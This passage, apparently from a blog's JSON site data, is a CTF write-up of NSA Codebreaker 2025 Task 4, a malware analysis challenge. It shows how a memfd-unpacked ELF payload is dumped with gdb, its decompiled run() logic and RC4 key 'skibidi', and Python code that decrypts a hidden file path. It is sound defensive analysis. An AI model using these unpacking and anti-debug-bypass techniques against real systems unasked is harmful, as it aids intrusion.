style=\"display:flex;\"\u003e\u003cspan\u003elrwx------ \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e kali kali \u003cspan style=\"color:#ae81ff\"\u003e64\u003c/span\u003e Nov \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e 21:01 \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e -\u0026gt; /dev/pts/0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elrwx------ \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e kali kali \u003cspan style=\"color:#ae81ff\"\u003e64\u003c/span\u003e Nov \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e 21:01 \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e -\u0026gt; /dev/pts/0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elrwx------ \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e kali kali \u003cspan style=\"color:#ae81ff\"\u003e64\u003c/span\u003e Nov \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e 21:01 \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e -\u0026gt; /dev/pts/0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elrwx------ \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e kali kali \u003cspan style=\"color:#ae81ff\"\u003e64\u003c/span\u003e Nov \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e 21:01 \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e -\u0026gt; \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/memfd: (deleted)\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp align=\"center\"\u003e\n\u003c/p\u003e\n\u003cp\u003eFile descriptor 3 pointed to \u003ccode\u003e/memfd: (deleted)\u003c/code\u003e - a memory-backed file. This technique allows the malware to unpack a payload into memory without writing to disk, avoiding file-based detection. I extracted this data while the program was paused:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-gdb\" data-lang=\"gdb\"\u003e(gdb) dump binary memory /tmp/extracted.bin 0x555555590390 0x555555590390+0xcee8\n\u003c/code\u003e\u003c/pre\u003e\u003chr\u003e\n\u003ch3 id=\"analyzing-the-unpacked-payload\"\u003eAnalyzing the Unpacked Payload\u003c/h3\u003e\n\u003cp\u003eThe extracted payload was itself an ELF binary:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ file /tmp/extracted.bin\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/tmp/extracted.bin: ELF 64-bit LSB shared object, x86-64, version \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSYSV\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edynamically linked, BuildID\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003esha1\u003cspan style=\"color:#f92672\"\u003e]=\u003c/span\u003e69d0667eed34a355fc78fbe68a7eed42897947c1, stripped\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eLoading this unpacked payload into IDA revealed the true functionality. The payload\u0026rsquo;s \u003ccode\u003erun()\u003c/code\u003e function showed an interesting pattern:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003e__int64\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erun\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  _BYTE v2[\u003cspan style=\"color:#ae81ff\"\u003e264\u003c/span\u003e]; \u003cspan style=\"color:#75715e\"\u003e// RC4 state\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  v3 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003e__readfsqword\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0x28u\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003esub_7C8E\u003c/span\u003e(v2, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;skibidi\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e);  \u003cspan style=\"color:#75715e\"\u003e// Initialize RC4 with key \u0026#34;skibidi\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ( (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003e__int8\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003esub_8574\u003c/span\u003e(v2) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003e__int8\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003esub_8666\u003c/span\u003e(v2) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003e__int8\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003esub_86F8\u003c/span\u003e() \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003e__int8\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003esub_8771\u003c/span\u003e() \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003e__int8\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003esub_8795\u003c/span\u003e(v2) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003e__int8\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003esub_8A0F\u003c/span\u003e(v2) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003esub_7F5D\u003c/span\u003e(v2);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e v3 \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003e__readfsqword\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0x28u\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp align=\"center\"\u003e\n\u003c/p\u003e\n\u003cp\u003eThe function initializes an RC4 cipher state with the key \u003ccode\u003e\u0026quot;skibidi\u0026quot;\u003c/code\u003e and then calls multiple check functions, each of which decrypts strings using the RC4 state.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"rc4-decryption-and-file-path-discovery\"\u003eRC4 Decryption and File Path Discovery\u003c/h3\u003e\n\u003cp\u003eEach check function followed a similar pattern, calling \u003ccode\u003esub_7EFF\u003c/code\u003e (the RC4 decryption routine) with encrypted data:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e_BOOL8 \u003cspan style=\"color:#66d9ef\"\u003e__fastcall\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esub_8574\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003e__int64\u003c/span\u003e a1)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  _BYTE v3[\u003cspan style=\"color:#ae81ff\"\u003e32\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  _BYTE v4[\u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003esub_7EFF\u003c/span\u003e(v3, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eunk_D580, \u003cspan style=\"color:#ae81ff\"\u003e38\u003c/span\u003e, a1);  \u003cspan style=\"color:#75715e\"\u003e// Decrypt 38 bytes from 0xD580\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  std\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003efilesystem\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003e__cxx11\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003epath\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003epath\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003estd\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003estring\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e(v4, v3);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  v1 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e std\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003efilesystem\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eexists\u003c/span\u003e((std\u003cspan style=\"color:#f92672\"\u003e::\u003c/span\u003efilesystem \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)v4);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e v1 \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/sub_8574.png\" alt=\"sub_8574\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eThis function decrypts data from address \u003ccode\u003e0xD580\u003c/code\u003e and checks if that path exists on the filesystem. Examining the encrypted data in IDA:\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/encrypted_data.png\" alt=\"Encrypted data at 0xD580\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eThe encrypted bytes at \u003ccode\u003e0xD580\u003c/code\u003e (38 bytes):\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eC7 16 75 C6 0F C7 14 36 16 AF 4C 1D 34 01 41 BA\nF9 22 B9 AC 42 A6 C7 07 00 09 F7 59 C9 E1 2E 63\n77 F3 A0 71 DB 1F\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eTo decrypt this, I implemented the following in Python:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erc4_init\u003c/span\u003e(key):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;RC4 Key Scheduling Algorithm (KSA)\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    S \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e list(range(\u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    j \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(\u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        j \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (j \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e S[i] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e key[i \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e len(key)]) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        S[i], S[j] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e S[j], S[i]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e {\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;S\u0026#39;\u003c/span\u003e: S, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;j\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erc4_keystream_byte\u003c/span\u003e(state):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;RC4 Pseudo-Random Generation Algorithm (PRGA)\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    S \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;S\u0026#39;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;j\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;j\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e S[state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e]]) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    S[state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e]], S[state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;j\u0026#39;\u003c/span\u003e]] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e S[state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;j\u0026#39;\u003c/span\u003e]], S[state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e]]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e S[(S[state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e]] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e S[state[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;j\u0026#39;\u003c/span\u003e]]) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Key found in malware\u0026#39;s run() function at sub_7C8E call\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003erc4_state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e rc4_init(\u003cspan style=\"color:#e6db74\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;skibidi\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Encrypted data from address 0xD580 (passed to sub_7EFF by sub_8574)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eciphertext \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e bytes\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efromhex(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;C71675C60FC7143616AF4C1D340141BAF922B9AC42A6C7070009F759C9E12E6377F3A071DB1F\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# RC4 decryption: ciphertext XOR keystream = plaintext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eplaintext \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e bytes([c \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e rc4_keystream_byte(rc4_state) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e c \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e ciphertext])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Decrypted: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eplaintext\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode()\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# /opt/dafin/intel/ops_brief_redteam.pdf\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIn RC4\u0026rsquo;s standard implementation, S represents the state array (a permutation of values 0-255), while i and j are indices used to traverse and manipulate this array. For further reading I highly recommend the Wikipedia page: \u003ca href=\"https://en.wikipedia.org/wiki/RC4\"\u003ehttps://en.wikipedia.org/wiki/RC4\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eRunning this script revealed the file path the malware uses:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eDecrypted file path: /opt/dafin/intel/ops_brief_redteam.pdf\n\u003c/code\u003e\u003c/pre\u003e\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/decrypted_path.png\" alt=\"Decrypted path\"/\u003e\n\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eSuccess!\u003c/strong\u003e By bypassing multiple anti-debug protections, extracting the memory-mapped payload through dynamic analysis, and reverse engineering the RC4 encryption scheme with the key \u003ccode\u003eskibidi\u003c/code\u003e I successfully decrypted the hidden file path.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\n\u003cimg src=\"/images/codebreaker-2025/badge4.png\" alt=\"NSA Codebreaker 2025 Task 4 completion badge\" width=\"300\"/\u003e\n\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-3/\"\u003e← Task 3\u003c/a\u003e · \u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003eSeries overview\u003c/a\u003e · \u003ca href=\"/posts/nsa-codebreaker-2025-task-5/\"\u003eTask 5 →\u003c/a\u003e\u003c/p\u003e\n","date":"2025-10-06","dateFormatted":"October 6, 2025","excerpt":"← Series overview Task 4 - Unpacking Insight - (Malware Analysis) Once back at NSA the team contacts the NSA liaison at FBI to see if they have any information about what was discovered in the …","featured":false,"mood":null,"permalink":"/posts/nsa-codebreaker-2025-task-4/","readingTime":8,"slug":"nsa-codebreaker-2025-task-4","subtitle":"Understanding an obfuscated Linux sample","summary":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-4---unpacking-insight---malware-analysis\"\u003eTask 4 - Unpacking Insight - (Malware Analysis)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eOnce back at NSA the team contacts the NSA liaison at FBI to see if they have any information about what was discovered in the configuration data. FBI informs us that the facility registered to host that domain is on a watchlist for suspected criminal activity. With this tip, the FBI acquires a warrant and raids the location. Inside the facility, the server is discovered along with a suspect. The suspect is known to the FBI as a low-level malware actor. During questioning, they disclose that they are providing a service to host malware for various cybercrime groups, but recently they were contacted by a much more secretive and sophisticated customer. While they don\u0026rsquo;t appear to know anything about who is paying for the service, they provide the FBI with the malware that was hosted.\u003c/p\u003e","tags":["NSA Codebreaker 2025","ctf","malware analysis"],"title":"NSA Codebreaker 2025 - Task 4: Unpacking Insight","url":"/posts/nsa-codebreaker-2025-task-4/","wordCount":1569},{"content":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-3---digging-deeper---reverse-engineering\"\u003eTask 3 - Digging Deeper - (Reverse Engineering)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe network administrators confirm that the IP address you provided in your description is an edge router. DAFIN-SOC is asking you to dive deeper and reverse engineer this device. Fortunately, their team managed to pull a memory dump of the device.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eScour the device\u0026rsquo;s memory dump and identify anomalous or malicious activity to find out what\u0026rsquo;s going on.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eYour submission will be a list of IPs and domains, one per line. For example:\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e127.0.0.1 